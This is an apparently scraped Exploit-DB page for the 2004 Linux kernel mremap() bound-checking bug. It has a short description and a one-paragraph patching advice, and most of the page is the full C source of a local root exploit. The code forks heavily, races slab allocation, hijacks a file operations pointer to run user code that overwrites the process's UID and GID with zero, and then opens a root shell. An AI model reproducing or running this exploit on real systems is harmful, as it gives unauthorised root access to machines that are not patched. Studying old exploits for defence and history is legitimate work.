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mremap() bound checking bug
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Platforms Tested: Linux
2004

Linux kernel mremap() bound checking bug exploit

This exploit is used to bypass the bound checking of the mremap() system call in the Linux kernel. It uses a combination of mmap(), mremap(), and clone() system calls to gain root privileges. The exploit works by creating a large number of virtual memory areas (VMAs) and then using mremap() to move them to a specific address. The exploit then uses clone() to create a child process that will execute the kernel_code() function. This function will search the stack for the user's UID and GID and replace them with 0, thus granting root privileges.

Mitigation:

The best way to mitigate this vulnerability is to apply the latest security patches from the vendor. Additionally, users should ensure that their systems are running the latest version of the Linux kernel.
Source

Exploit-DB raw data:

/*
 * Linux kernel mremap() bound checking bug exploit.
 *
 * Bug found by Paul Starzetz <paul isec pl>
 *
 * Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>

#include <asm/page.h>

#define MREMAP_MAYMOVE	1
#define MREMAP_FIXED	2

#define str(s) 	#s
#define xstr(s) str(s)

#define DSIGNAL		SIGCHLD
#define CLONEFL		(DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
#define PAGEADDR	0x2000

#define RNDINT		512

#define NUMVMA		(3 * 5 * 257)
#define NUMFORK		(17 * 65537)

#define DUPTO		1000
#define TMPLEN		256

#define __NR_sys_mremap	163

_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long
new_len,
			 unsigned long flags, unsigned long new_addr);


static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid,
gid;
static volatile int *vma_ro, *vma_rw, *tmp;
static volatile unsigned fake_file[16];


void fatal(const char * msg)
{
	printf("\n");
	if (!errno) {
		fprintf(stderr, "FATAL: %s\n", msg);
	} else {
		perror(msg);
	}

	printf("\nentering endless loop");
	fflush(stdout);
	fflush(stderr);
	while (1) pause();
}

void kernel_code(void * file, loff_t offset, int origin)
{
	int i, c;
	int *v;

	if (!file)
		goto out;

	__asm__("movl	%%esp, %0" : : "m" (c));

	c &= 0xffffe000;
	v = (void *) c;

	for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
		if (v[i] == uid && v[i+1] == uid) {
			i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
		}
		if (v[i] == gid) {
			v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
			break;
		}
	}
out:
	dummy++;
}

void try_to_exploit(void)
{
	int v = 0;

	v += fops[0];
	v += fake_file[0];

	kernel_code(0, 0, v);
	lseek(DUPTO, 0, SEEK_SET);

	if (geteuid()) {
		printf("\nFAILED uid!=0"); fflush(stdout);
		errno =- ENOSYS;
		fatal("uid change");
	}

	printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);

	kill(ppid, SIGUSR1);
	setresuid(0, 0, 0);
	sleep(1);

	printf("\n\n"); fflush(stdout);

	execl("/bin/bash", "bash", NULL);
	fatal("burp");
}

void cleanup(int v)
{
	victim[DUPTO] = victim[0];
	kill(0, SIGUSR2);
}


void redirect_filp(int v)
{
	printf("\n[!] parent check race... "); fflush(stdout);

	if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
		printf("SUCCESS, cought SLAB page!"); fflush(stdout);
		victim[DUPTO] = (unsigned) & fake_file;
		signal(SIGUSR1, &cleanup);
		kill(pid, SIGUSR1);
	} else {
		printf("FAILED!");
	}
	fflush(stdout);
}

int get_slab_objs(void)
{
	FILE * fp;
	int c, d, u = 0, a = 0;
	static char line[TMPLEN], name[TMPLEN];

	fp = fopen("/proc/slabinfo", "r");
	if (!fp)
		fatal("fopen");

	fgets(name, sizeof(name) - 1, fp);
	do {
		c = u = a =- 1;
		if (!fgets(line, sizeof(line) - 1, fp))
			break;
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d);
	} while (strcmp(name, "size-4096"));
	
	fclose(fp);

	return c == 7 ? a - u : -1;
}

void unprotect(int v)
{
	int n, c = 1;

	*victim = 0;
	printf("\n[+] parent unprotected PTE "); fflush(stdout);

	dup2(0, 2);
	while (1) {
		n = get_slab_objs();
		if (n < 0)
			fatal("read slabinfo");
		if (n > 0) {
			printf("\n    depopulate SLAB #%d", c++);
			blah = 0; kill(hpid, SIGUSR1);
			while (!blah) pause();
		}
		if (!n) {
			blah = 0; kill(hpid, SIGUSR1);
			while (!blah) pause();
			dup2(0, DUPTO);
			break;
		}
	}

	signal(SIGUSR1, &redirect_filp);
	kill(pid, SIGUSR1);
}

void cleanup_vmas(void)
{
	int i = NUMVMA;

	while (1) {
		tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
				MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
		if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
			printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
			fatal("unmap1");
		}
		i--;
		if (!i)
			break;

	tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
				MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
			printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
			fatal("unmap2");
		}
		i--;
		if (!i)
			break;
	}
}

void catchme(int v)
{
	blah++;
}

void exitme(int v)
{
	_exit(0);
}

void childrip(int v)
{
	waitpid(-1, 0, WNOHANG);
}

void slab_helper(void)
{
	signal(SIGUSR1, &catchme);
	signal(SIGUSR2, &exitme);
	blah = 0;

	while (1) {
		while (!blah) pause();

		blah = 0;
		if (!fork()) {
			dup2(0, DUPTO);
			kill(getppid(), SIGUSR1);
			while (1) pause();
		} else {
			while (!blah) pause();
			blah = 0; kill(ppid, SIGUSR2);
		}
	}
	exit(0);
}

int main(void)
{
	int i, r, v, cnt;
	time_t start;

	srand(time(NULL) + getpid());
	ppid = getpid();
	uid = getuid();
	gid = getgid();

	hpid = fork();
	if (!hpid)
		slab_helper();

	fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
			MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (fops == MAP_FAILED)
		fatal("mmap fops VMA");
	for (i = 0; i < PAGE_SIZE / sizeof(*fops); i++)
		fops[i] = (unsigned)&kernel_code;
	for (i = 0; i < sizeof(fake_file) / sizeof(*fake_file); i++)
		fake_file[i] = (unsigned)fops;

	vma_ro = mmap(0, PAGE_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (vma_ro == MAP_FAILED)
		fatal("mmap1");

	vma_rw = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (vma_rw == MAP_FAILED)
		fatal("mmap2");

	cnt = NUMVMA;
	while (1) {
		r = sys_mremap((ulong)vma_ro, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
		if (r == (-1)) {
			printf("\n[-] ERROR remapping"); fflush(stdout);
			fatal("remap1");
		}
		cnt--;
		if (!cnt) break;

		r = sys_mremap((ulong)vma_rw, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
		if (r == (-1)) {
			printf("\n[-] ERROR remapping"); fflush(stdout);
			fatal("remap2");
		}
		cnt--;
		if (!cnt) break;
	}

	victim = mmap((void*)PAGEADDR, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
			MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (victim != (void *) PAGEADDR)
		fatal("mmap victim VMA");

	v = *victim;
	*victim = v + 1;

	signal(SIGUSR1, &unprotect);
	signal(SIGUSR2, &catchme);
	signal(SIGCHLD, &childrip);
	printf("\n[+] Please wait...HEAVY SYSTEM LOAD!\n"); fflush(stdout);
	start = time(NULL);

	cnt = NUMFORK;
	v = 0;
	while (1) {
		cnt--;
		v--;
		dummy += *victim;

		if (cnt > 1) {
			__asm__(
			"pusha				\n"
			"movl %1, %%eax			\n"
			"movl $("xstr(CLONEFL)"), %%ebx	\n"
			"movl %%esp, %%ecx		\n"
			"movl $120, %%eax		\n"
			"int  $0x80			\n"
			"movl %%eax, %0			\n"
			"popa				\n"
			: : "m" (pid), "m" (dummy)
			);
		} else {
			pid = fork();
		}

		if (pid) {
			if (v <= 0 && cnt > 0) {
				float eta, tm;
				v = rand() % RNDINT / 2 + RNDINT / 2;
				tm = eta = (float)(time(NULL) - start);
				eta *= (float)NUMFORK;
				eta /= (float)(NUMFORK - cnt);
				printf("\r\t%u of %u [ %u %%  ETA %6.1f s ]          ",
				NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
				fflush(stdout);
			}
			if (cnt) {
				waitpid(pid, 0, 0);
				continue;
			}
			if (!cnt) {
				while (1) {
					 r = wait(NULL);
					 if (r == pid) {
					cleanup_vmas();
					while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
					 }
				}
			}
		}

		else {
			cleanup_vmas();

			if (cnt > 0) {
				_exit(0);
			}

		printf("\n[+] overflow done, the moment of truth..."); fflush(stdout);
			sleep(1);

			signal(SIGUSR1, &catchme);
			munmap(0, PAGE_SIZE);
			dup2(0, 2);
			blah = 0; kill(ppid, SIGUSR1);
			while (!blah) pause();

			munmap((void *)victim, PAGE_SIZE);
			dup2(0, DUPTO);

			blah = 0; kill(ppid, SIGUSR1);
			while (!blah) pause();
			try_to_exploit();
			while (1) pause();
		}
	}
	return 0;
}



// milw0rm.com [2004-01-15]